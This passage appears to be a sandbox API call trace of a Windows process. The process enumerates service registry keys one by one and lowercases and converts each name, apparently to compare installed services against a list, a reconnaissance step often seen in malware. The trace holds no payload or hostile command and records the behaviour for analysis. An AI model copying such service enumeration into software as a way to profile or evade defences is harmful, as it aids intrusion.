Size=0x80) returned 0x21f2eb0 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.140] RegEnumKeyW (in: 